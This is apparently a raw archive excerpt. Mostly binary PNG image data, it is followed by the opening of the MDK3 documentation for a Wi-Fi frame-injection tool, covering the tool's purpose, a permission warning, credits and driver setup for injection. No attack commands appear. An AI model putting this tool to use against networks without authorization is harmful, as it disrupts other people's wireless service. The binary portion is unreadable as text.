żýČňRˇiš8ä*{ĺźS:Î#˝Hź˜_ g8 " ­ƒŸXW_۞ŘÍ;ŒÉŚYC„o;°ÓZ8‰7ÎÔŮČđ C&­ X xÇAđŤHs…<~ZŚ}łăîDŠ.FşÄířťŚŠŞ°đú‡Á+tt%^˙ţÇďýâŐ`%ŁS€4`”CV7Ďǧ&ćŔâô#+Ł ň‰(c‘ĐóÁ͉Ľçz„ćĚnŚGě†3†˘™š:ďŞz'}‡ę‘ƒŃ„&Í=XĚD7ŔúĽ  ×4H°M´‚‹ÍuWë=ľňœJ5΄ç(ŕ h🠆uď>ýŤšÄćJő¤áĂM˘|RŃî+Ţ}0x#L.:Éş—L;ŠUőÓô:aG —]2ăĐ ľqFŸÜš7­ {ĐË ÔɀłąXŤŮ݃Ŕě ›W—{r‹TŹěäz¨q,ëóŇ:›Ä¸ôżůÍoŽ\šÂ:ĺ´ČÚ3şţ/ů˓'O2€ZËŕŘHă %OšŃŇ1ZáJdhסë˜ć´żűÔzÄ0ȅ,üÇśŢ*[ŚěýžÖnl4ă,ç!´6ôds[ś­^ä -rn ׊ľqĄíŢŞůFËłˆĚŇd_dQ,(ĚŁ{Ś“QS,…ĂÂT˛2’…´ŁüjŁj1ę^łk ­ËĺŘ~řáG}4yđŕŸţ韎î˘ă=›ez;ß~DŢŽźđęp•mmŮä‚‘;՞óIŸœĽîőůš°6–kŃ˝PöTm~ÖUć{F:ł˝0+7Š…[7ŽööOLüĂ˙P›™źqýłZĺrŃ}ß NœhŃU@×ՄĄX12ëĄQ syĺÁʓĺLŞŤoDדŕ݃ k°&eX eC[`Ô:NŤÉĆŮľTśçľď<üě×Çܝ ʀM‰ .a 1ěîô-M/ô‡V6v–.Ŕd¸đ´ća‡âk‘YK uIHŠT’Q§•żŠ:$ď?QďęĂBV;śO”Đsë5_ ÝdhŇ~jČͨőě• 3g%•ÔtöHŽÁ2‡{ \üƒhIc`Du:Ož*žSƒGu¸ćŕ‡É’áŠë^0â”^~žRxvóĆĐĄî?ü浙ůňښÖ×AşÚƒň|Xz ľźP÷ćň}ŞŽZÝC°thGŁÝBŕňBĽŽ ,hKvˉm’´°ŇŕŁ÷îÝ{硿]X\źpá~ôŁśś6&NČŞśšVÁ)nܸç={öŹPˆ3ćěb™Wßš=ÂS`ůQ"eWÖ( Ö%,`Q—(ţőőӘůĂë#„G¨ę|Ań ŁhFœë?ĄŁĚŔm†\DęŢ$ßĂßi#D˙…H&Ź>ĘŇhꘐŻXi$ӆřG¸ŕl$˜Éš˝[[[¸ľZ5*…cě2áŚyśgąĂWüˇýč?řÁ›ožŠŠQž'ňŠrAČźL]č¨!ô tM5Íj˝ÎˇDXÄĎuĺÜĄlJWo/ß„]ˏ*ž3qüĺŁg^V´pöŃĺÂÜěKG_éč˘L(؎öWÓßýďżţߍŽsáT[O^1TĂSÔľrř¨ľËj&mľ9pí†EŽ“ĽâÝĺRyüđ¸Ŕĺ€FeC‹ô´”ëíä.„ŞĆ­Rʡ‘'žşţîƒ zsá†4ŁéT׆ĽŮ{ÜĘňŒ32é„Gĺ ľŽ?{” ý2<˘ moŹGĹgpĘş‚›şjGŰÝŢv–@ŽHV<ÚZŽž×uÔ¨E˝{‡ľ-V+ŤkŮ6RĽâJĄš"‰ýY5MÜǝéő´ĺÓö” ßJ랚űO힮ôÄږxşšşj4`=¨éĺ‡W{†ČÄxfbx}ĺŃŁ$ť{şu}źž¨=ˇI6ŐÝądÁám­:Öđ͡{¨Äć$OZ,ĎۡnÍĎÍÁ”=ţ<ó+ŮŞK§Óßüć7ÁűĹ/~ńđáĂf“ ťťť{||œ-WJ9Ř-­Ű0„wsxŕr"vÍśľmâýk­†=\îŘ„'Ŕ ߖPáh(Wsa]W\Cтł%hëȓyĎlŁý ˆ/ƒĹ1÷ t𔚣ÄWľ'ěb]Ă#ڜŤŔ‚ű,ŰĆ'łU1^37¨ő-đéÇĽj¨Í=žD"ŢXŹŁŁŁŠTŠV$'Œ^gL&“ŮlĆ.fffćÖ­[ąZt˜˛ö/˙ň/pŘ7Ţxƒ& "ć(ď~$$˘u­ˆĎ ˇHžŕ ˙“ÖŮ9:Úoik)KÉŠöłÇwßxšłî÷¨ÝŞŽ,<˝5`̧{F.ŁŁ.UZ{Űj>7 :ŰÁ=$śŻŽ†Ă٧¤˛‚zĹ^˜žľP\-ŐüŽöžąąƒ]Ů\t•QXÖ÷÷ÝŔ‹M- ˛ť›7žĺě.“˝ƒĺt§ęޘ”W@kÜôę7zÔć¤6/ŸéŐy§oŘSŰ=”ˆł´ĐżUPôN\ ‡v~S”âŽOő*•élŻÝŢSŤ;B0›j~HÔT:4ˆÇŔžAͰŞ2ŮÎśł†˘WB₵Ű–ŽRƒýÉśkŐű W{ŰV:ó°]řžŒŽ'łd ŕŐ ›F9H9Ÿ-Óš;žúôaΚţe)źv4šź˛Ú‘×ÓŹćDŕuŒÂUvÂôĺ3›;A;Č^JťřÎťc­ç‰'ţüĎ˙@–Q8…ćÁů|ţ­ˇŢzçwŽ\šŮ{äΝ;€ź°TvujŘÖžÁťN” ćEgdsíüUÁŠŐôĆ ĺZťT\ ´ć~É.„e÷<Ž@á˜g{šŢ<7(˝€b¸6zϛ"ť܅›Âą]ĆúâF.ŰEXŞĎ ő2‡G68}NěրźśmƒaËL`Zža5(ä0'aRMMM?~üŮłgďžűn3a ć?}řá‡đIVąB˘­ĂߝҔ…çcÎ{]Ē 1ažOńTŚĎö×Ra06`Žő$Z`×§—?ű÷kŸNv†=űšDeúţo2#]ă'`c)mŹT—ďž9 ll&4KY.¤ŐŢ =ŕŕ“mšK6ŐsěBoĚř†&Źe/O7ŔXŃCO ꐉ‘ •Řž€!tŹT5×U^]5IŔ–ZH¨/őľ—=Ÿ¨AľR.l*ůnvk)-ôfł˛!ńhŹ ¤q‰ŔSQiSS2h›ýÁüÔYÜQĽ­üč4J¨fRWŤ4‘Úg8B…řş\Œ) `íšuĂLíťX[{źźr'ŸŠŰŽnű$L‡í´Ížě㲲ĺ(5WőLíˊőœřs+óCĆúdVK[Ş_óŒn8ŸęxꪝÔ;ű=?ănBŻn‰°ńäLrěäĘ źÍpŘĺ{v{iľ”ÚôBŰUŞľ°`+)SÉ)áJQŠĽÇҚĹËb˝?źýâ"z6%ŘJňł­YD|‰F ş˝= Ç\ĄI .%çϟŸÍ{Ŕ‡Á„…Á0sŕümčoA5ĺżoz1m”¨E# ű#LX:í*!.…Q@OÝJ%Š2#ňOĽŠRsŞ]3Œ¤Ů“Žá(Š$–_FD?ä•7Śďűž›ڟĚ÷/Ěg3Îz*ŠÜ{h+Ů?šČ›ęŃ˝+‘^Y­?]¨= eÇ ­„šO`PÖ=މÁ™l^#Á՟/¸Ĺr7HÎŽđ•#4;a[__oÍ¸|Ś13‡˝ď‰^ÍŇÍQœÎîíÍâ|7Ł"qĚhpźVJ˜- üb~;Ś4Ż™ć°ŤďŽůň”JĽÖYrÖäA!ő/4Ng%š¨š}5œg/€<0ľ˜€!f¤ĽfQvńŠdŠÂ%]P‚Ě4>O`Ě‘1ľŤUnö˛ú—ŘNň<əݜ;(Ó­8!ńě=Ó\8ŽJŒWjđę#ň‰2Ą˜˝`ňŔ-Pű×u¸ědkQ§är9ć ň­“Ś98đRĂ/ٓ(÷(†ËI}äôÔkÎęňĚüƧžÖ™ ‡Ű•´â›Qu*dąYVV+ÁňŞ;˜Ő^™Đ]_wPłËv­ e÷ň{Żéö“@Ł;`ŹG?ôëŽcŰV[†śxPŔaĎŃ䖐ݍ›‹ŒšĂNE+o˜´ŢH1hĹĄ¸ŔI+˘ RTĚD>ĎXŚÔä44›î”şŕů´,Źó€v<ŁľóšŘŽW­T´íćQxëĆŮŐ\7°Ą40Ł˘őߐ×ŮŐí\&UUVÖ˛_=˜TëK~’ĚY÷hżž4‚ăÉ­Šrű™•Ϥ˝pĹ2´žł=â̸4`B )ŽZŹ)KĽL~čH–*Žú{ŇőcÉaBdż…؉“mƒ?čÜťwŻěVŞôĹxől™aJ#–}üńÇ7oŢlqršüüůtwwˇśpŻ/jag°|Ýv8ĽqSˆë­ŁŸ{…ŽąrˆŘi`"Ÿ|ňÉňňr‹ńżsçÎřC°•&&&Ν;węÔŠţţ~"I62Nž0–WˆĐ¤fŰKKKů— '…•äȑ .:tˆŁ0~šmů|g$÷Eˇ„b‘Ą3!Ťv5V KŢ+•Ę'Ÿ~ .? -ěđŔ_xˆn4Ôđ×­­­ůůy¸#Ţw](k„‰Ď˝7j ÉŰq ]—ČnI&€Âk׎ľpóiű˘R‘ǸčMŃ^ˆ*†rfƒÇB Żž­É„욝t“~ÚX[[k‘Xgë×߀ƒ3˕mĂÜňŕ^ccçcŤ‰‡Ąţćoţ†ď‡Bƒ Ţ6[žŘľŮ6ž)Ő žžú䓷;‚ĘM; Ym°+ՑPűşÔçën&AöwkAn¨=] gn*Ş›ëo÷H(ŘčÁ‡AĽźY.wôôÇůđ+’´´SQE°Třź;4ážź2r÷ú‹†‚Š‡ë*€e&¸!ü§TýđŚŢAŽžę ¨¤ŚVîݜؘMҞľ€†wM0pŁ ¸,Ÿ„ŤńhßIŻkĐ÷ŮŞÚ%R-Už\ÔUĂ<ŘççŇöIaę IDAT ?'Šdwžzťmßööߎ¸nÝÚXšőMolDén§WłF°YÓŹĄ×ť:{ď_{ŻÝXňjáVÍ/l¸C´îA]Ď ˝JY>8Ůa ˇŕŹLZ’ýP%î%Gu˜ËÉć:ˇ&˙Ýď~—)Őbv^̃* |áuőęŐűˇƒěťl*[œîţýűpŘW^yĽŻˇ űۏ›‹ŸáRJrˆD<ŕÁÍÎÎʧ†ď‚_ňĘŋÝŕoš&Ű2ńf,ĝ8ZR8݆]úűżýŰż–%ßä1_/BĄÁTťJéáÝ}w?=“&÷ěđ=]=v(ë¸$čżŕŤ7nv`dßžCGŽđAíÉ=pŘśRs3=^ćőŁm˙ośĺ;‰¤÷L×OЏ^XíčVěęďžôĚDŰńq7e)L+,@í[XmĽˇ;ĺŇűGkZ#¸IcĄGÉ Ď Ţo8äz˛/uüL ¨ÜEĽŤKQ ×/Ÿ,?ď4´¨#ĽoEMƒMV¸ NQŞDťŇ{Đ?ľšTd÷ţŠKw­€§h™”eÖŰścZ‚IESŹj¤Ój$6—ěúĽë˝šQ"ĘœŽŽ— ˙)BńÉÄxďáăşT——;Çö×ç2sŸ´™ŢňSŻÍ \˘Őý‰g}ľďtŰČ0‰i´Ą 'rKžŘę)Á$Ç$vě ş9ŹĎ6¸ŘˇoßÔx‘Ŕ 'ʐ7Ţxƒ™Ž\Ţţůç?˙ůĎ[Ź˝|žýÔŠ“`Ů1e)śžš.ômÂŐäiŢó@-ސbϔ)§0äeń.Ń ô4äŠ0ś|؀<ţüŘNwďÂö€ ŕĽFa™f{ŕśl‚ă”ă 8E[>Oeö˘¤|²ŕRě…ႏ  X|ík_cíÚbÉćÍBđ<ç ° V3Řŕ`üÂCݢhܘŢňöĆ X…ß˙ă?ŢżżĐ;ƒ]!˙‘H8Ům˛“‚Ů{ýúu@R@áŮŃa+b}í¸4(' †Ű*9óśŸłťkpŽůů§ĎžŐ$ŢĚŽ‰‰ ˜f°đ=˜)Řńm˜c&e3Śóěr3 ʉÄxÁTŕvgŰc}5ńŮŰ`TŐ0x\S~S ƒźéľ L}ý[Ś•Y[\˛Żź˙Ęâ°Ź{áľM÷XVëŇh°_ő/ÓíÝ˝˝ů}㞮—ˇ6ÓÉlOoŸĽZşŞľ)~ą¸etöԋ›żť]W­ÜёZ&ĄďD…śĄFîLŤŽô\ýř€_u™˘MXEęa„vA7#3ŇČ­ ˝u会ËÉćj¸ž^űâă 7Ę5P šUcuaCG^ ­ťŁÇ’‡=/”Ł`đaĂŽ]™KzZňÄ>/“PL˜[墓H+ŹłŠzőBicÎŰZpĘՙçe}Ó8”<žIçt%pÊëĎ'4ż†Wź¤ůň…ŽÁጩZ37WîÜ=¨=^ĐĄŃHH9ÔƊ~dÖNžŞç˛ąv+N9r^N Ž‘ŔRbiđBDN÷ěŮłˇß~ű÷ż˙˝Ü•>3>>ţ˝ď}ďȑ# ˜)Í~ `–ş°Ţ`€k|úôélÔ'B0QÉîÎx8×!Ëk ÝzpŔ‘} w Ć]–ŮňŒeö#[œ×Ĺ1Ö6 ×G}ČĹŇnmQŻ vÁvľ ˙žôŇK° MMMńœy¸)€iUq°ŻĘIÔžČŰŽ€“ÂAžóď=zK÷ňAćůRaېˇULdúÇüŰßţvii‰!,Üżl—ííí…óÂ> Ĺ+ŞńFˆ,˛‹ĆÁWŻÁ{8)ěĺ—/_–ýށ;…)ÁNĘÊs$đ´o(CŇě™ŰyۆÁ|ňä‰`%Ŕ¸őőő ˛iĆ4t`#dϗuÂŞFX´žM.ü´CI€˙ýô§?+9œÇÍ[\Â$ŹŐLŕ—.˝Źđ`Ř \)ŔŚr@śźĐ i›Ż]IŞT‘˘ŕ) ąŘ 3a‡U×9˛ĺ“iOýŞĂčéO,Žů¤çčŘÔiZSPÚĘśwÔĘĹŤO’g.ç2ilČ4ôȃšűčúą™‡#z¤ Lp҉q˘ Ťöޟœ›z9Ý?Ä5őĄElłÓćWW§B*ƒfä(PF‘fšyƒß˜Š˛Ş´ %ŸSTK.X ĘĽës†CŹăc^{6 ˇî”Šj&§éšVŸÝţ}›˛ŮŐgĚÖSŤ›äpWŠg­š_Ş%"J˛Pî„Ai”hąVm?k(ŐPMŞű’J:Úő|MŤz¤N´9%ů|ňź6<âJyYQFLĄ¸ăKlÓ°Xe†ŘĚ.ÄüőŻ Ŕ(•Y9wîťßů†ź^ Ç1"ţŽséŇ%"đ-Ř5ƒSîÜ9@Ľ6„GP1źBß<Ą”NúłŸýěć­[4+UŤ?~ü­ˇŢK“§m9ś’Ýö¸†űBěKˆBp‘°ß˙}Ř{ďî÷âŋCCC\łořP;„‡č˛°iÁĹó–ŚlGďěělkkcž /'‰z5ŃW&“çĹ3šŸ„ƒN˜ëÂ7ÝöĄť˛ě´\B[ú—eýć˘;=`2Ąń Ă Đ ř8űË.˙ÖBżŕ…Ý:é2•ŠO~ąÎäÇ÷˜™{Ü?X:9 Öęîƒe-=öőŢŢŃ͕ĺlO7Š×?{TsIţĚx)“ÍyţÎČ†ŽłńřîÁé;‡•ŕŁAŮ4ý1“Š>ŽŻĐVçJd_wËSç˛Ă#>ę¨&ě˙0~ő'Ÿ^;–ŚČ ;5U† ´qN’19:ƒŐ|Ó7–ŚÎ˜ű‰˘…;Ź7TŠŸ? OŸŽ övaXŮÜ4ňyúlŠ ĺÂľÎqݐHřĽ—Ňzw`ŮK…ߟQťŽÔƒ2%¸9~XöĂÝŤh6ŻUN%5%ŁÂżpô1ÅÂŔŢRň›'žŽőí°yňX3Ż(.%S8IŮŘ&ĘBxŞ/ ďňň2˜*cccŹŽAVŇÁn&ł—™Hxľkkk]]]‚Ĺ*tF"؞jćA •Zňž"Ȩců.¸…É!ŘKŕ1?ŕo1űŕť[Öî‘77ůo`zúô)ŕc ´3’]˘ĄmYI–?Wf~~€/˝Mň!q]ˇązŽžęnvtĘQ˜ďCüG8)l9°ó–t<‰ÇşTťKrŮńŸĚuœ'OŸŢ¸qƒExŕU;6: OžeÍś+Ő*;›~|7SĂ.kŢÁFjsPćm>Çč4ő/š”Ňź}űž“Ňzßüޥ˗†ćŽNř UD %O™Ťś:QߏĄć uÄ V,Uł4í˝ä Ťî;>u÷Ęűł•ĺޔޗŃ6K[¤Ď÷B'Ňáó5/¨x5°Ła\ô(&ې.6Şš)ŐC%Za# ţUYŸŞœCB'$ˇŐŽÚźšÍd9H V@ĂÇ$$?ydKOŢ{üůÉTWD¨F#•SޞgFŹ­“jM}ôŮíǡ§§Žç†Ś`ÁYV­ĎpŞ˝˝Ś;“ŻŽU÷rVK†~Żö[Ęl|śéUˆî›zLj‘ë ÜĐŻoš›Ëjeu3,—*eÝ^}2˝´Jz;2Ů]ƒ~@2–i×섕6Ž_ĎŹŽÎőuwҲ݈GľŚŕĚS“ÚţÜş6şpsŸA Łë!k*DŁ –˘Î¸ęÝ΃™g‚Âcý5<ĂšSËý=_\˙𤿕Öhɚązáf|č+ţžk̎më›rˇ1—ÚŃ4ĆąoÓ2žDTááĘÖđŤ28Lź#áVM3MŐ({52í-Œ´÷š^Ú*U×7Ö§ŸjZÁU ĽŔéVÔ3ys4ĄDńăQźß6’8v6Ďa lĂ%ŽÉŕ(<8NœŒŐ˛‘=k ŻrĹgl¨S)d~Xa|ä`;ôŕmC(ˇ“ Rnç2Ôú/´–ΊŐLhv§x”d„´Ě—QÎďɅa1Š*qQu…ąđօ*-źYŸAöqcÝn÷*eߑŕĘ1Y˛ťőaLÝĺ !Řźŕľd÷ďß˙裏:;;ßzë-Ö˝˜ĽřXT§ŽÁFĽ ×e”đ†:°S§Tłj~“L%“‰$g20I3ŔYËć#ŔťŢą€ƒ.܏Œš­ŸœźŢ|Çţë[AąţŤŰw _^z%cO%•v-œH™ˇCŤz`8;q8ďPi'7˘EÍuÓŐňâĂ;oŸł‚őC_ˍ őe„Ô7mĺjN5´Ęęr¸Rëą]ßĐtaNÔMÍ<űŇňćÔÓkŸ¨<ďţî‡ęf Ü°z•çŇíy?*Z‹MÉËĎÓ3—K˝ö_.Ýź<śr$jS)-D†X@nzĆĚčK™É#fŕŐśkaŠźJžĎέmÂăHüFçť!ᢂ4Äěúj˝t÷ĘĄ…G=„kJąˇw†”\ʕPLĂ1:iKâÍxŁŤ­K+>,u^ëŞLžOOěëˇT'˛c4EÑ,ŮY†ŇŸšŃă›EickyIœr ^9xŕ%ž‡C™¸YŘq?Nđc•1XýE éńĎĆ Ţœ¸ŰČßϛŔ´(Ŕü,ř‹‹…ޘ|ÄŇiŃśCîŔDâzyĹ…óČ8ŤŘ,ŤŒ˜ą+¸Â3ĺ5)Ü ŕ-90>2,f{-§=ŕhöZĆżAÜXˆýukkëƍCCCožůÍt:ĹSvL˘Œ‘ŁŘuRČzĺÜřƒc×ĂTÓXÇ z˛n™ÔÚeÍUyiř ďFŒ7rvať¨ţC(ŚyűöĂüŠ$ đ§6Ťďâéá‹g+Ĺú˙źyÝ{vő‚eże:ţü˝`áK; KVrƒ-?Ěë¤ËP’đ˝tXpĂW?\şüąoXdbrŕŘiĎH$Ĺvj}™šľĺM}üŁűŇŕĺ …Rô•˛´‹o,śŽţ~Ÿˇľ‘ëő&Očův%R2“A*Ö Š›X›`Ľ;5[<8˙ŕöęLˇâř$źâf—'Î$GG Eľ=GPČŽVŠOW}+ŐÓŚŹtľőSmĺzÝĚćhvQńkóO”[7ťI1•,•BŁťËéD@ŠKáÖ"˜ân4ŢIU15UĎĐ8ɊŻ?0:Óg/v ŞJXƒëuÁnĹx ö %tĹđ9šČbť‚Ů[b.@¤p=¸¤GVŔ˛ lĆł`Ÿ`Śáyˆ->śxxoěŇb+LŚŚń°†@N’l2É Č^\§;ÍBv2ĘÇRGbiś ĹĆ÷q¤‚łG7_֟”{ŠËš$xÖ żÄw„í}œW6`# üqŕ”€]|Ťć8ÎĄŁŁ#•JňË`Şťlv…Q oťI)_h̝mJFűhv—E%™ďEfwŻú<Űě•˙řÇą~“ň“=)š†B07„<†ę‡ŢÂĆôgď^¤hť†J fŠFmśčP•˜v|i+—>Ť­wuyś^Ü1|ną§těňľŻV•ě~ÍY?<’Îd*ńh@ŃiV!–S˝yăł´ájJ:łşÖĽúĄóZ:UžúŃ)˝V ČĚŕáTgˇrç󤎎Ÿęř`ssłŤŤ+×Ö_+•JŹ÷Ďää$Ŕ1&đÎÇź¸>É6•¨>›šĚćŘĺŐk yYđ—E‡Cý“ŸüD6Udr¸\Ô/@pl:Eܤ‘š­âĺű칊Ž#§ŠÓsä‹wÚzűœ?řlÓwn„ŠTßč~Ş~ąş¸2ß?:¤YIćĹt9ö–’ΆUďŢӍ%ż?AŠGź\2řŰ+ qPb\řӒçN•bP“琐Ǐî-X\ß|ś ˜‰ŽD¸:9šKŚLK ]'ucg=Ťšĺ„…ÍLg.,lUˆŸéëŃý`óÖŽĽÇ5]÷Ďż‘éî ֋…R9?ÜGÔ ě]^ˆÂ4.ě8 )PlCņqń'iaáĘqLÁaŒí4Kţ•„‘Ŕ‘.œ§vP\ďŔ–Ÿ,1Ě­žąŮŢn3ĺ6žśńFÎ'†ZšŰ˜ěAĘ̰feÍjĚbőzvHîť}>P,č^ɡ+„"Gˇ„ľ[ĄÎľ"9ćâ1Ää?†}gyČďßěcÎĘźölŐŮŮŮšš9Ŕ_PVŢ655XĚ,_lMÓsEoěZšJŹţđšהˇ`ŮL–yHŒŢ XĚśpÁ;OĂŽŕYéWźtcËZäžuąşŸ+¨L'+OgÚdž‚TŠ0źŰíž3ĆĂś´QKZ -]X.ÝÜDNu%ĆJ `óGIË*'ÍünÜVƏľ24]­ÔĎÖę~gŕUűłŢřhˇn¨´…§ę†’˜ü^i0Ęş˘’zX,–Ňů1o_e*źBˇ˜Ř—öŕšëʝ&b 79™‹ţr< ḡhŚĚ ŽMĹÖeđ\,.^ŔB;°‚ß݂Ľ#{ÜBxďź•!‡]LŘž(H›ËX†‘(śĽEl…ałîB'Ö•ĺ)b—v‹ľ#/yÎŕŃ*ÖđĂÂě1ĄöApV°{$lMMŽŠŕˆ˙:/ăj č`߁ŐlťTŚ/ÚY*ŞÚ2`Á'Źd" 6/XžÉH¤ —T4†ĂŽĆmֈI6Áb{Đśˆ$Ęe° ĎԈ˘ŮľB˝hfÚLWš?˝ąě÷ҎćěHo&aZ\Ń gbae=CŽţ)gK# ë›ĺĘWĎVÝ Ć3ĽŹęLg“†Ąšu°” (°r0˜ [š< $Ž'Ť\ĘJâ낍ŤÜŘBÔ› ťvšÝ^9+DoäłČäÓfďc‹2řň–_°‹#lä-ź"á–ĺĆHň#üÜfĺBkš÷eěí W^ƒąqÍĘŇdF°Ll–çhžF¸ŮîŐ,•‚k[šŐřŕçÎŁó¸GĽřdŠ 9?ě~ÉţVle3 -Xťťězlۆy¨yy•Ď ë{śˇăH清8Ü.gQšÉś ›<­ ąź§źp=ŸěńŤőŞœę9X­ÍĚŽ=)gWśÔ”śŢßgöww¨Ű_ŚŽ€>œ>"W…˛œŒŽD3—ŤöňşŞ˜DW:Ő­‘Ţl:;”Lčž[ój>QľpťĽΕË-…r~YżćEČ|YGڰÔMlc`ůڄNÂčÉ×ÖbY t%\U›†’E)…($.ýŔ^slöMoyßeC!çgdíÝŘčŠPÚGšˇ¸—á;ś4@ŕ–Ä2Ődc Wo7c/ÄZńąœBlĘ~O‹%ĚÇ Oď™n•=3öŞWaá+ÜDuŠ-iŕľEĽfěE Ş7rś¤Y¤/ÖíaSOł0ŸÎĂĚf1âf!.~ńz ÁeÁń%ţ#Ż{nÁáňŤr€%–ĽłŽmč 8X͟ˠ äZ„}E6ş[olĺĘéîXúž%YŽéÇę"Ĺ.üX2FR9݈o\ŘyA ż)üřp´wF玬€őüÁr'\ Ĺmš:3 –|ŤŐkěźL[’%ÜpđmWS Ă•Opčd2 NÝÄú{žL—'6ěń†ŰŚyjHňšlŘFJŐru3ٝ:֓3\Ż´ą5] ĎZĂŤ5ľĐÓĄwt¤ÓÉ„ŠŤ´/;u¤K ţ6¨Ć„wSˆëŽëm”JĹ-ťVłB˝“hyBôŒ^ęΖťťóšŃK4Ú[EŤf2FşŽąĹňBĐ ť E"IKSOĄ}ŽŒz‚{Ř,Eł'ćâ™*Řżą‡ĺÎM,ż%6Đ/oÜă+‘S:¸ÄŽ'Ü“MnŻ'×ÎĹň¸ńˆc˛c.“öpĄÍ6ś%0ßš•ƒňŤĹΓĐnăWě˘Ăî‹\‰ŠS—ÂÓd'˛‚|ۨŮBTDŘQb+ścŸžF‚EňÜf[Ë.u7é(ö×ďěĺIDAT!ňÚbţ(…‚€ż îłařŰ]ŕô(˜D ;\xŒ™áüNŮ Ńą†o ˙Ř"Ă Ďc™•kyÉÖeěâŒĺŸ ƝżNŞŐ‘p=§R.űu˝7wtŹÔýJQ[ŮJ/U͕˘A(ŠŔ}Űw+őjŮ÷ěĐwŕ2Ă Š ¨ŚďëŞnéV}Ř*5“-#g¨íů´ßÝŚćҁ˘%ˆšđżlWľş’N¤,Í 4Ú(H!JŹ_‰iLBÓĂƄŘkpšI„(žlg˝Č^ČÝmy äqL\ʉMKYpč3VĄFx˛ĎŻ—@.9Œ˛8ŽM­lÁވe,°Sŕ*OnĚ6‹e ×ĚE^béqÂ#Ć\pˇ…=@xúŘH†]0q°”—|ţËfŐ|ˏ­ĎnĄ’!?}œ'Äą—/\C,ě¸hW‚pŤł†căNÂáśC|ŚaůPžyŁŞ°QÄÖ2Í •˘eőĎŹ ĺŕě˙:žRœ7.—|ݙZđi„ť@;k.§26Ś,Sđ´Ś şŚçóYŞYŁjUß­mw3‰áĄî}$Ş H˝Z#ődľşîjvÍőęuŸ(ŕ"¨ŠŞĄâÖş:LÚRBWB•F XďľşS-Ă&ćkIĂÔL=“ŒtňigK…6t—lŰX‚:sŻěǖíÇÖÉîžLşh–šÇ–ˆÜQMđš…Ü—đÜœ 6ăxۖĸ$R.ˆMÁˇXáąy] ^X…ěîF.ű8— âc53ĺ2~#˛ Š:ÂÄRM0YJÎ|âč§š˛š†ĆŚ19ţĘÜaţ`Ľ e}™/ČMQ^(ÜBnBPƒä Gxšĺňw[ŕÍŘĹiD˘V@rwGž˘ŮLÓÜ)EŤŐtV7•ŽQƘaňP-ż)6Ŕ&Ö ‚×óćŒBYglňTć…4Űëb7CŮßj ąYl7JÚAv^UeôސPŐ7IH2“!Y¸GËŐH=(Űř˝íŘŞnhŠF4ˇćŚłŞj´‘PktŽôꎣŻŘ“PJÓL& ‚h:Řš†eR6˜BĽpUEÁNçó#Ö1ÇwÄ㠌>3ëb•yźYHŠ KŽ]uÔ7"ˇÄÎ:ÓĂ  ŤŞVÂ"đ˙c>ĂÉZƒV2€kÝsL-‘I%ĂôÎŃźĆđš8ĘÎ{‘ ["–Rćm֝AŽ]˛=DšŃČdß˝x gD›•ńg'ĂGŹĽ)ç]ɒf™t!$T˛Ć†€ąČFFÁůp‚,Cłm€OEYҗą#dF3˛đuśěj*F:nëÄ&`…t´ŕÜq!n§ "ĺB°.śě;śY¸ ĺťBlًLşˆ›xVŕœź<‘b]1<…<łpęŘM4V‘Ď@6óŕâJ9ě ŕlłIăŔď-ËbwĈbF”dƒ_rŰ<:˜Żűq- ߍ4źHMH7#{ËƆł ô“,ŚiÂRÇę6r':ŠŘ4&KTĹ'4­ŚZl ë+łŃˆú‚ďƒoœ˝çú›8”‰ óÂ{Ćmň<Ɋ ÁA!ĐĆăP˙OYM!V Ł@ěcmĆťbî¸gu ë#6Ř*óůń~[“*›â_xܙMť !á=gÁYÁî6¸š–B¨TđNšyÖ2˘Y:Z ?aš*kĘA’f5âň^Ë0áV6Îg Á üXcËë[íä &lĂÂZˆÝ¤™Ń#‚…Ĺ—$Ÿ!Bô™…¸‘×BƒČyţŽţ$ĎÎńÍKç=虤P,€Ż Ş‚m%쨲˙…ă {–9 2B!?&ű ´ ՙńf´œ"LjX˛¨Y•A*Ë8¸Ć=Áž–—áČŸ˜•…ˇîË4,¸mľPš&*–ÁđĹ3 ‡˙°á çp0Ĺz ‚őÝB…C(iVŇ&ěˆĚÄŘUé —ß šH„ŮeŃlđâY*[ÁrŠ7JŮĆëS¨XfQłXš°Ăáw)šž;väq`!6˜@v7č’cA´‰Ý0b  O\^ţąĺ‘BW$šb;v_‰žhŚ$ë;ËmŸ‰A g)„ žf|ƆĆMÔŰl[vŚĚŤ×t†đ™d2ɝ5hhĆmڎ ďŸX˝8֛‹ĺ-ˆ7 O—ö] 17Űąé§ŕzŘ1㢊Bň0vŰ`ČČ \V„ůjdó‰ĄäB&ţEś 1Í]ýĘ"ă—/uźĚš%ʄ¤ź\Ó[w$„ŇbÉü-rʂŠüŹĺ>ľąNBîr˝Q#C™šŃőnߏ†zóđ!•CŽX=]ČůÄj\5ƒ?aúa9ąŐfIŻ‡ËśbĆfy9*-§ľĺ¤– żÜlÎÄśţlV3…w…ŘėŔ’ÄÍ7ń ÁůšŇ\ƒ˘ľĎŢ4śRÎŘ 9d6o1 ľ—r怚­‘SCg‚ź`=TË΋Öţ/#0ŠB-âĽÎIENDŽB`‚mdk4-master/docs/Documentation_incomplete.html0000644000175000017500000010274113525065636022650 0ustar samuelophsamueloph MDK3 Documentation
k2wrlz logo

MDK3 Documentation

MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.
It is your responsibility to make sure you have permission from the network owner before running MDK against it.


MDK3 is a Wi-Fi testing tool from ASPj of k2wrlz, it uses the osdep library from the aircrack-ng project to inject frames on several operating systems.
Many parts of it have been contributed by the great aircrack-ng community:
Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape, telek0miker, Le_Vert, sorbo, Andy Green, bahathir, Dawid Gajownik and Ruslan Nabioullin.
THANK YOU!

MDK3 is licenced under the
GPLv2 or later.


Contents:
1. Setting up your environment
2. Getting MDK3 to run (Compiling MDK3)
3. How to use MDK3
4. The different test modes




1. Setting up your environment

MDK3 is a tool that "injects" data into wireless networks. "Injection" is the possibility to send self-made data through the air without being connected or associated to any network or station. MDK3 is used to send valid and invalid packets, which belong to the wireless management and not to regular data connections. This is only possible with this Injection technique. Sadly, this is something, WiFi equipment has NOT been built for in the first place! To enable the injection feature on your wireless card, you possibly need modified drivers. A lot of work has already been done by several hackers (including me) to make these modified drivers available for a lot of hardware. Furthermore, the new wireless subsystem mac80211 in the Linux kernel supports Injection out of the box for many drivers and cards.
To set up your driver for Injection, please visit www.aircrack-ng.org and follow the Driver Documentation there.
